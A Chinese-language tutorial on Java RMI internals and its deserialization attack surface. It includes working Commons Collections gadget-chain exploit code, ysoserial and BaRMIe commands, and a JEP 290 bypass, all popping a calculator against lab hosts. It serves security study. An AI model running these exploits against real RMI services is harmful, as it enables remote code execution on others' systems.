Java RMI分析与利用

Java提供了一种RPC框架 RMI(Remote Method Invocation , 远程方法调用) 。RMI指的是一种行为、一个过程。通过RMI允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。Java本身对RMI规范的实现默认使用的是JRMP协议( Java远程消息交换协议,就像HTTP是实现Web访问使用的协议一样)。而在Weblogic中对RMI规范的实现使用T3协议。

#RMI 结构

RMI分为三部分

  • RMI Registry 注册中心,存放着远程对象的位置(ip、端口、标识符)
  • RMI Server 服务端,提供远程的对象
  • RMI Client 客户端,调用远程的对象

#数据传输过程

在这个过程中,Server到RMI Registry(步骤2)、Client与RMI Registry的双向通信(步骤3、4)和Client与Server的双向通信(步骤6、9),这三个过程数据传输都要经过序列化/反序列化的操作。

通信过程梳理: 客户端⾸先连接Registry,并在其中寻找Name是hello的对象。然后Registry返回一个序列化的数据(Hello对象的初始引用)。这个hello对象是由一个动态代理生成的类,包含与Server通信的IP和端口。Client与该地址进行连接,在该连接中才真正调用远程⽅法。

Tips: RMI Registry就像一个⽹关,其自身是不会执行远程方法的。但RMI Server可以在上⾯注册⼀个Name到对象的绑定关系。RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接 RMI Server。最后远程方法实际上在RMI Server上执行调⽤。

#RMI 服务端

定义一个远程接口,在定义远程接口的时候需要继承java.rmi.Remote接口并且修饰符需要为public。在定义的方法里需要抛出一个RemoteException异常。

1
2
3
4
5
6
7
8
package rmiserver;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface user extends Remote {
    public String hello() throws RemoteException;
}

远程接口的实现类,需要将该实现类继承UnicastRemoteObject

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package rmiserver;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class userhello extends UnicastRemoteObject implements user{
    protected userhello() throws RemoteException {
        System.out.println("构造方法");
    }

    public String hello() throws RemoteException {
        System.out.println("hello方法被调用");
        return "hello,world";
    }
}

创建服务器实例,创建一个注册中心并将对象注册到注册中心。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
package rmiserver;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class serverstart {
    public static void main(String[] args) {
        try {
            userhello hello =new userhello();
            Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
            registry.rebind("hello",hello); //将远程对象注册到注册表里面,并且设置值为hello
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

#RMI 客户端

调用远程对象的方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
package rmiserver;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class client {
    public static void main(String[] args) {
        try{
            Registry registry = LocateRegistry.getRegistry("localhost", 1099);//获取远程主机对象
            //利用注册表的代理去查询远程注册表中名为hello的对象 ,服务器会序列化该对象再传输到客户端
            user hello = (user) registry.lookup("hello");
            // 调用远程方法hello()
            System.out.println(hello.hello());
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

如果远程的这个方法有参数的话,调用该方法传入的参数必须是可序列化的。传输序列化后的数据,服务端会对客户端的输入进行反序列化。

#攻击面

工具利用: BaRMIeysomapysoserial

探测RMI服务: java -jar BaRMIe_v1.01.jar -enum 127.0.0.1 9527

测试代码

user接口

1
2
3
4
5
6
7
8
package rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface user extends Remote {
    public String hello() throws RemoteException;
}

user实现类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class userhello extends UnicastRemoteObject implements user{
    protected userhello() throws RemoteException {
        System.out.println("构造方法");
    }

    public String hello() throws RemoteException {
        System.out.println("hello方法被调用");
        return "hello,world";
    }
}

注册中心

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package rmi;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class registry {
    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
        while (true) ;
    }
}

服务端

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package rmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            registry.bind("hello", new userhello());
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

Tips: 在低版本的JDK中,Server与Registry可以不在同一台服务器上。而在高版本的JDK中,Server与Registry只能在同一台服务器上,否则无法注册成功。(Bind()函数会检查)

客户端

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
package rmi;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class client {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry("192.168.31.158",1099);
            user hello = (user) registry.lookup("hello");
            System.out.println(hello.hello());
        } catch (NotBoundException | RemoteException e) {
            e.printStackTrace();
        }
    }
}

#客户端攻击服务端

使用RMI进行反序列化攻击需要满足两个条件: 调用的方法接收Object类型的参数、服务器端存在利用链。

对上面代码做点改动,接口中hello方法支持Object类型参数。

1
2
3
public interface user extends Remote {
    public String hello(Object s) throws RemoteException;
}

实现类hello方法也添加Object类型参数

1
2
3
4
public String hello(Object s) throws RemoteException {
        System.out.println("hello方法被调用");
        return "hello,world";
}

客户端调用远程对象的hello方法,并传入参数,即可在服务器端执行命令。 (利用cc1的setvalue链)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package rmiserver;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class client {
    public static void main(String[] args) {
        try{
           //获取注册中心对象
            Registry registry = LocateRegistry.getRegistry("localhost", 1099);
            //利用注册中心去查询远程注册表中名为hello的对象
            user hello = (user) registry.lookup("hello");
            //向服务端调用远程方法
            System.out.println(hello.hello(getpayload()));
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public static Object getpayload() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "sijidou");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class, transformedMap);
        return instance;
    }
}

在实际使用场景很少有参数是Object类型的,而攻击者可以完全操作客户端,因此可以用恶意对象替换从Object类派生的参数(例如String),具体有如下四种bypass的思路

  • 将java.rmi包的代码复制到新包,并在新包中修改相应的代码
  • 将调试器附加到正在运行的客户端,并在序列化之前替换这些对象
  • 使用诸如Javassist这样的工具修改字节码
  • 通过实现代理替换网络流上已经序列化的对象

详情可参考:https://paper.seebug.org/1194/#objectjep290

#服务端攻击客户端

跟客户端攻击服务端一样,在客户端调用一个远程方法时,只需要控制返回的对象是一个恶意对象就可以了。服务端hello方法的返回结果中包含恶意对象,客户端调用了该方法时进行反序列化。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public Object hello() throws RemoteException {
    Object evalObject = null;
    try {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class},
                        new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class},
                        new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] {String.class},
                        new Object[] {"open -a Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "Threezh1");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        evalObject = cons.newInstance(java.lang.annotation.Retention.class, outerMap);
    }catch (Exception e){
        e.printStackTrace();
    }
    return evalObject;
}

#客户端攻击注册中心

  1. 方法一 (受JEP 290影响)

    lookup和unbind只接收一个String类型的参数,不能直接传递一个对象反序列化。而注册中心在处理lookup请求时,是直接进行反序列化再进行类型转换。

    只需要模仿lookup中发送请求的流程,就能够控制发送过去的值为一个对象。

    代码实现

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    
    package rmiserver;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    import sun.rmi.server.UnicastRef;
    
    import java.io.ObjectOutput;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    import java.rmi.Remote;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    import java.rmi.server.Operation;
    import java.rmi.server.RemoteCall;
    import java.rmi.server.RemoteObject;
    import java.util.HashMap;
    import java.util.Map;
    
    public class client {
        public static void main(String[] args) throws Exception {
    
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new Object[]{"calc.exe"})
            };
            Transformer transformerChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            innerMap.put("value", "Threezh1");
            Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
            Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
            cons.setAccessible(true);
            InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap);
            Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, evalObject));
            Registry registry = LocateRegistry.createRegistry(3333);
            Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 3333);
    
            // 获取super.ref
            Field[] fields_0 = registry_remote.getClass().getSuperclass().getSuperclass().getDeclaredFields();
            fields_0[0].setAccessible(true);
            UnicastRef ref = (UnicastRef) fields_0[0].get(registry_remote);
    
            // 获取operations
            Field[] fields_1 = registry_remote.getClass().getDeclaredFields();
            fields_1[0].setAccessible(true);
            Operation[] operations = (Operation[]) fields_1[0].get(registry_remote);
    
            // 跟lookup方法一样的传值过程
            RemoteCall var2 = ref.newCall((RemoteObject) registry_remote, operations, 2, 4905912898345647071L);
            ObjectOutput var3 = var2.getOutputStream();
            var3.writeObject(proxyEvalObject);
            ref.invoke(var2);
    
            registry_remote.lookup("HelloRegistry");
            System.out.println("rmi start at 3333");
        }
    }
    
  2. 方法二 (受JEP 290影响)

    利用ysoserial JRMPClient模块攻击注册中心,通过与DGC通信的方式发送恶意对象让注册中心反序列化

    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections2 "open /System/Applications/Calculator.app"

  3. 方法三

    参考JEP 290的绕过部分。

#服务端攻击注册中心

正常情况下,服务端通过bind函数向注册中心绑定userhello对象并通过序列化方式传输给注册中心。但如果把这里userhello对象替换为cc1链构造出的InvocationHandler对象,注册中心端会对该对象进行反序列化。

触发点在sun.rmi.registry.RegistryImpl_Skel#dispatch下的readObject()函数。

利用方法 (受JEP 290影响)

  1. ysoserial中的RMIRegistryExploit模块java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.31.138 1099 CommonsCollections1 "open /System/Applications/Calculator.app"

  2. 代码测试

    1
    2
    3
    
    Registry registry = LocateRegistry.getRegistry(1099);
    registry.bind("hello", new userhello()); //userhello为恶意类,注册中心会进行反序列化。
    //rebind也可以
    

默认情况下,服务端向注册端进行bind等操作会验证服务端地址是否被允许(默认只信任localhost)。但不是信任地址也可以利用。因为注册端对于服务端的验证在反序列化操作之后。在8u141之后,JDK代码对于此处验证逻辑变成先验证再反序列化,此时就不能绕过地址校验了。

#注册中心攻击客户端(或服务端)

借助ysoserial启动一个JRMP注册中心

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections2 "open /System/Applications/Calculator.app"

利用原理(不受JEP 290影响)

客户端代码

1
2
3
4
5
6
7
8
9
Registry registry = LocateRegistry.getRegistry("192.168.31.158",1099);
user hello = (user) registry.lookup("hello");
/*
list() 除了list()之外,其余的操作都可以进行利用
bind()
rebind()
unbind()
lookup()
*/

同理,由自定义的注册中心返回恶意的序列化对象,客户端收到后会对其进行反序列化。这里如果存在cc2链利用环境则利用成功。

触发点在sun.rmi.registry.RegistryImpl_Stub#lookup下的readObject()函数。

#JEP290 绕过

JDK6u141、JDK7u131、JDK 8u121开始加入了JEP 290限制。JEP 290是来限制能够被反序列化的类,主要包含以下几个机制:

  1. 提供一个限制反序列化类的机制,白名单或者黑名单。
  2. 限制反序列化的深度和复杂度。
  3. 为RMI远程调用对象提供了一个验证类的机制。
  4. 定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器。

Tips:

  1. 如果是Client端和Server端互相攻击默认是没有过滤的。JEP290需要手动设置,没有设置的话就还是可以正常进行反序列化利用。
  2. JEP 290默认分别为RMI注册端和**RMI分布式垃圾收集器(DGC)**提供了内置过滤器(通过setObjectInputFilter来设置Filter进行类的过滤)。这两个过滤器都配置为白名单,只允许反序列化特定类。

在有JEP 290的JDK版本进行攻击会报以下错误:

ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler......

#UnicastRef Bypass JEP290

可以利用UnicastRef.class这个白名单类新建一个RMI连接请求来绕过JEP290的限制。

RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集机制来管理远程对象的生命周期。

利用原理

通过UnicastRef对象建立一个JRMP连接,JRMPListener端将序列化传给注册中心反序列化的过程中没有setObjectInputFilter,传给注册中心的恶意对象会被反序列化进而攻击成功。

触发点在sun.rmi.transport.DGCImpl_Skel#dispatch下的readObject()函数

利用方式

  • 代码(对应上图)

    ysoserial 启动一个恶意的JRMPListener。

    java -cp ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "calc.exe"

    注册中心

    1
    2
    3
    4
    5
    6
    
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(2222);
        User user = new UserImpl();
        registry.rebind("HelloRegistry", user);
        System.out.println("rmi start at 2222");
    }
    

    Server端 (这段代码是ysoserial payload中JRMPClient类的部分)

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    
    public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
        Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(client.class.getClassLoader(), new Class[] {
                Registry.class
        }, obj);
        try {
            reg.bind("Hello",proxy);
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
    

或直接使用ysomap中的RMIRegistryExploit模块(也是利用的代码中的方式JDK ≤ 8u231可以利用)。

  1. 先用ysoserial启动RMI registry,等待目标连接

    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections2 "open -a calculator.app"

  2. ysomap中指定目标RMI registry的地址和端口,并在bullet模块中指定ysoserial启动的RMI registry地址。run之后便可看到目标弹出计算器。

#参考

  1. 针对RMI服务的九重攻击 - 上 - 先知社区
  2. 针对RMI服务的九重攻击 - 下 - 先知社区
  3. RMI 过程源码分析
  4. JAVA RMI 反序列化知识详解
  5. Java反序列化漏洞系列-3
  6. Java安全之RMI反序列化
加载评论